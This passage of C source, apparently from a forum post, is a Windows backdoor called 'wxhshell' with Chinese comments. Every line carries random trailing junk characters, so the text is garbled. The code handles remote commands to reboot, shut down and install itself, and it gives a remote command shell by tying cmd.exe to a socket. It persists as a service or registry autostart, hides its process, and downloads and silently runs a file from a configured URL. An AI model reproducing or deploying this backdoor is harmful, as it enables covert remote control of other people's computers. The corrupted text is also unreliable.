  else ,Of^xER`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;Y$>WKsV  
  } <W80AJ  
  else { *1b|j|5v  
9=%zdz2_S  
    switch(cmd[0]) { BBB@M  
  vk& gR  
  // 帮助 {LO Pm1K8Y  
  case '?': { r9i? H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %l F*g  
    break; H5=kDkb  
  } n|w+08c"  
  // 安装 1F^Q*t{  
  case 'i': { 9-KhJq%  
    if(Install()) }}AIpYp,P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,c p2Fac  
    else FzT.9Vz7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U(#<D7}  
    break; {ez $kz  
    } Dcl$?  
  // 卸载 6#?T?!vZ  
  case 'r': { \<4N'|:  
    if(Uninstall()) e1m?g&[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t'eqk#rq  
    else ,ks2&e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1 em,/> "  
    break; za>UE,?h  
    } Zd*$^P,|  
  // 显示 wxhshell 所在路径 };/QK*  
  case 'p': {  zUfq.   
    char svExeFile[MAX_PATH]; /`*{57/3  
    strcpy(svExeFile,"\n\r"); =}^NyLE?  
      strcat(svExeFile,ExeFile); ,XD" p1(|G  
        send(wsh,svExeFile,strlen(svExeFile),0); N:1aDr;  
    break; Kg[OUBv  
    } 'wND  
  // 重启 .DCHc,DxA  
  case 'b': { Z'z)Oo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rbw$=bX}  
    if(Boot(REBOOT)) )g0lI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 22`^Rsb,6L  
    else { Gm=qn]c  
    closesocket(wsh); 9wgB J Jl7  
    ExitThread(0); <n2@;` D  
    } 8+zW:0"[  
    break; 3db{Tcn\@]  
    } w?Te%/s.  
  // 关机 V]=22Cxi'~  
  case 'd': { CdolZW-!"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SepjF  
    if(Boot(SHUTDOWN)) K:PH: e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TlqHj  
    else { IGdiIhH~2  
    closesocket(wsh); ^|]&"OaB Z  
    ExitThread(0); BQ@7^E[  
    } XH%L]  
    break; \iuR+I  
    } lSj gN~:z  
  // 获取shell 7aG.?Ca%  
  case 's': { "s2_X+4oY  
    CmdShell(wsh); .Ro/ioq  
    closesocket(wsh); LD$5KaOW  
    ExitThread(0); Z*,e<zNQ  
    break; Av X1*  
  } N'Gq9A  
  // 退出 XHr*Rs.[=  
  case 'x': { w+M/VsL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {!"UBALxc  
    CloseIt(wsh); *$tXm4 O[  
    break; 3<0b_b  
    } )DSeXS[ e  
  // 离开 @KN+)qP  
  case 'q': { ZoW1Cc&p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z+"tAVB[i  
    closesocket(wsh); uZqL'l+/y  
    WSACleanup(); B=_w9iVN  
    exit(1); o`U}u qrO  
    break; ZlT }cA/n  
        } pu-HEv}]a|  
  } eV;r /4  
  } th?+TNb^  
{15j'Qwm  
  // 提示信息 vgfC{]v<W]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^_7|b[Bt  
} oV|O`n  
  } mG~_*8}e<  
("$/sT  
  return; `MtzA^Xr  
} YagfCi ?  
g}an 5a  
// shell模块句柄 ]?9*Vr:P^  
int CmdShell(SOCKET sock) nL@'??I1  
{ mypV[  
STARTUPINFO si; K$"#SZEi  
ZeroMemory(&si,sizeof(si)); cc@W 6W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LC%o coc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -IPo/?}  
PROCESS_INFORMATION ProcessInfo; <r%K i`u(p  
char cmdline[]="cmd"; +;N]34>S7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q@D7 \<t  
  return 0; VtBC~?2U)B  
} YIQD9  
yx-{Pj X   
// 自身启动模式 b!<_ JOL2.  
int StartFromService(void) s :vNr@TS  
{ qBA)5Sv\V  
typedef struct Y },E3<  
{ I!x.bp~V!  
  DWORD ExitStatus; KX) n+{   
  DWORD PebBaseAddress; 2d)Dhxzxk  
  DWORD AffinityMask; L%'J]HL-  
  DWORD BasePriority; ? SFBUX(p  
  ULONG UniqueProcessId; !fh (k  
  ULONG InheritedFromUniqueProcessId;  Q !X?P  
}   PROCESS_BASIC_INFORMATION; OO:S2-]Y>e  
uLhGp@Dx  
PROCNTQSIP NtQueryInformationProcess; Od1\$\4Z  
Sj+H{xJi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g4K+AK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'aSsyD!?<  
%(CC  
  HANDLE             hProcess; f56yI]*N=<  
  PROCESS_BASIC_INFORMATION pbi; $?= $F  
^q7V%{54  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p`tz*ewC  
  if(NULL == hInst ) return 0; %~rEJB@{  
~_THvx1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M2$/x`\-~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u$ts>Q;5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )aS:h}zn  
Q*DT" W/0  
  if (!NtQueryInformationProcess) return 0; m\:^9A4HCg  
MZgaQUg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Kb~nC6yJc  
  if(!hProcess) return 0; _4{0He`q  
73Dxf -  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !:{Qbv&T  
wNB?3v{n  
  CloseHandle(hProcess); ^<;W+dWdU  
AHf 9H?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tUu ' gs|  
if(hProcess==NULL) return 0; '+Dsmoy  
xIdb9hm<  
HMODULE hMod; JrP`u4f_  
char procName[255]; pF;.nt)  
unsigned long cbNeeded; b 74 !Zw  
;-db/$O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TWP@\ BQ  
>A Ep\ *  
  CloseHandle(hProcess); 7@ym:6Y+]  
\!ZA#7  
if(strstr(procName,"services")) return 1; // 以服务启动 fu7x,b0p  
7nt(Rtbsu  
  return 0; // 注册表启动 Bm~^d7;Cw  
} mnt&!X4<  
b(Y   
// 主模块 GM|& ,}  
int StartWxhshell(LPSTR lpCmdLine) ?QP>rm  
{ &4Z8df!  
  SOCKET wsl; >d 5-if  
BOOL val=TRUE; {`HbpM<=m]  
  int port=0; -rDfDdT  
  struct sockaddr_in door; ;qmnG3;Q  
;>,B(Xz4i  
  if(wscfg.ws_autoins) Install(); qq)5)S  
Et6j6gmif  
port=atoi(lpCmdLine); Ey@^gHku\  
yg\QtWW M  
if(port<=0) port=wscfg.ws_port; D+T/ Z)  
=?]`Xo,v~  
  WSADATA data; ,Yag! i>;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RDps{),E;d  
k>i88^kPV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S|tD8A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3M#x)cW  
  door.sin_family = AF_INET; "&_+!TBg,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M$x,B#b  
  door.sin_port = htons(port); 1wgL^Qz@  
v.ZUYa|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { It*U"4lgi  
closesocket(wsl); aB%.]bi  
return 1; `E~"T0RX  
} GcM1*)$ 4  
:tWk K$  
  if(listen(wsl,2) == INVALID_SOCKET) { PYQ0&;z  
closesocket(wsl); lDS y$  
return 1; LWrYK i  
} FM]clC;X?  
  Wxhshell(wsl); +|C@B`h  
  WSACleanup(); :6n4i$  
3MQHoxX  
return 0; WUS%4LL(  
_'p/8K5)=  
} fR1L VLU  
<?41-p-;  
// 以NT服务方式启动 `;mgJD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m%9Yo%l~  
{ _DR@P(0>_  
DWORD   status = 0; ^"Bhp:o2  
  DWORD   specificError = 0xfffffff; BOpZ8p'eH1  
:ok.[q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4 95Y<x}=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 65Z}Hf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gX"  
  serviceStatus.dwWin32ExitCode     = 0; 5Q"yn2b4  
  serviceStatus.dwServiceSpecificExitCode = 0; bI.hG32  
  serviceStatus.dwCheckPoint       = 0; nw+t!C  
  serviceStatus.dwWaitHint       = 0; Sr+hB>{  
=1Plu5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C\{A|'l!x  
  if (hServiceStatusHandle==0) return; CG uuadNI  
#x 6/"Y2  
status = GetLastError(); Up Z 9g"  
  if (status!=NO_ERROR) ) [eTZg  
{ _J*l,]}S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Le83[E*i  
    serviceStatus.dwCheckPoint       = 0; e;v7!X  
    serviceStatus.dwWaitHint       = 0; , S^y>  
    serviceStatus.dwWin32ExitCode     = status; I(UK9H{0$  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q``1^E'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OcB&6!1u  
    return; ;$tdn?|  
  } qFVZhBC  
j6s j2D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z71_D  
  serviceStatus.dwCheckPoint       = 0; {~&]  
  serviceStatus.dwWaitHint       = 0; V 2Xv)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zl[EpXlZ  
} "tT4Cb3  
PU%Zay  
// 处理NT服务事件,比如:启动、停止 S))B^).0-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *vQ 6LF;y  
{ =pzTB-G  
switch(fdwControl) !- [ ZQ  
{ z<Z0/a2'1  
case SERVICE_CONTROL_STOP: J"#6m&R_q  
  serviceStatus.dwWin32ExitCode = 0; )P? 0YC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rHk(@T.]  
  serviceStatus.dwCheckPoint   = 0; ~LI}   
  serviceStatus.dwWaitHint     = 0; e!=7VEB  
  { L@RnLaoQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &%v*%{|j  
  } sct 3|H#  
  return; WiZkIZ  
case SERVICE_CONTROL_PAUSE: 46M=R-7=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; em7L `,  
  break; pPxgjX  
case SERVICE_CONTROL_CONTINUE: M19O^P>[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0aq{Y7sYU  
  break; Cw^iA U  
case SERVICE_CONTROL_INTERROGATE: foPM5+.G  
  break; 8-gl$h  
}; W +Piqf*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6r^ZMW  
} "[/W+&z[~  
(]k Q9}8  
// 标准应用程序主函数 S#CaJ}M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^?|4<Rm  
{ BgN^].z&  
t(<k4ji,  
// 获取操作系统版本 /?BTET  
OsIsNt=GetOsVer(); ZYY`f/qi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qAp <OJ  
};r EN`L  
  // 从命令行安装 gWro])3  
  if(strpbrk(lpCmdLine,"iI")) Install();  8\nka5  
:bo2H[U+  
  // 下载执行文件 3hkEjR  
if(wscfg.ws_downexe) { r}Vr_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dm[JDVv|  
  WinExec(wscfg.ws_filenam,SW_HIDE); {Mo[C%  
} uJ|,-"~F  
CVY-U|xFY  
if(!OsIsNt) { D,$M$f1  
// 如果时win9x,隐藏进程并且设置为注册表启动 GQ85ykky  
HideProc(); E Id>%0s5  
StartWxhshell(lpCmdLine); Yq/vym-O5  
} Gqq< -drR  
else %/)z!}{  
  if(StartFromService()) N) jNvzm  
  // 以服务方式启动 'xEomo#  
  StartServiceCtrlDispatcher(DispatchTable); ']Czn._  
else m[l&&(+J,  
  // 普通方式启动 ao7M(f  
  StartWxhshell(lpCmdLine); '?90e4x3/  
y)fz\wk  
return 0; uR=*q a  
}
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只看该作者 1 发表于: 2006-10-10
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